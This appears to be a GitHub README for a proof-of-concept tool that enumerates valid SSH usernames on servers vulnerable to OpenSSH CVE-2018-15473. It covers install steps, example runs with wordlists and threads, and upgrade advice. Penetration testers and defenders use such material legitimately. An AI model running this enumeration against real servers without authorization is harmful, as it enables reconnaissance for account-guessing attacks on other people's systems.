1stpeak/cve-2018-15473Proof-of-concept SSH username enumeration exploit for OpenSSH CVE-2018-15473. Supports threading, wordlists, IPv6, and detection of valid accounts on vulnerable servers.
The OpenSSH server does not delay processing an invalid user until the packet containing the request is fully parsed. This vulnerability is related to auth2-gss.c, auth2-hostbased.c, and auth2-pubkey.c.
Although this vulnerability cannot be used to generate a valid list of usernames, it can still be used to enumerate and guess usernames.
OpenSSH <= 7.7
openssh-7.8p1-1.fc28 openssh-7.6p1-6.fc27
You may need to install the distribution's equivalent of the openssl-dev package.
# Note: If you are installing on Kali, you can skip the pip installation and just follow steps 1-3 below because paramiko already exists.
git clone https://github.com/1stPeak/CVE-2018-15473.git
cd CVE-2018-15473
chmod u+x ssh-username-enum.py
pip install -r requirements.txt
# Or use the following command to download and install
pipenv install -r requirements.txt # if you're cool like that
chmod u+x ssh-username-enum.py
Example 1: Single user enumeration
peak@kali:~/CVE-2018-15473$ ./ssh-username-enum.py -u root 192.168.1.2
[+] root found!
Example 2: Multiple user enumeration with 10 threads (default threads is 4)
peak@kali:~/CVE-2018-15473$ ./ssh-username-enum.py -t 10 -w /usr/share/wordlists/metasploit/unix_users.txt 192.168.1.2
[+] man found!
[+] guest found!
[+] nobody found!
[!] SSH negotiation failed for user nobody4.
[+] lpadmin found!
etc
Example 3: IPv6 address with specified SSH port
peak@kali:~/CVE-2018-15473$ ./ssh-username-enum.py -t 10 -w /usr/share/wordlists/metasploit/unix_users.txt 192.168.1.2 '::1'
[+] ROOT found!
[+] syslog found!
[+] sslh found!
[!] SSH negotiation failed for user sssd.
[+] rfindd found!
[+] ultra found!
etc
Users are advised to upgrade to an unaffected version. The OpenBSD project has released a source fix at the following link: https://github.com/openbsd/src/commit/779974d35b4859c07bc3cb8a12c74b43b0a7d1e0
https://github.com/epi052/cve-2018-15473
http://blog.nsfocus.net/openssh-cve-2018-15919/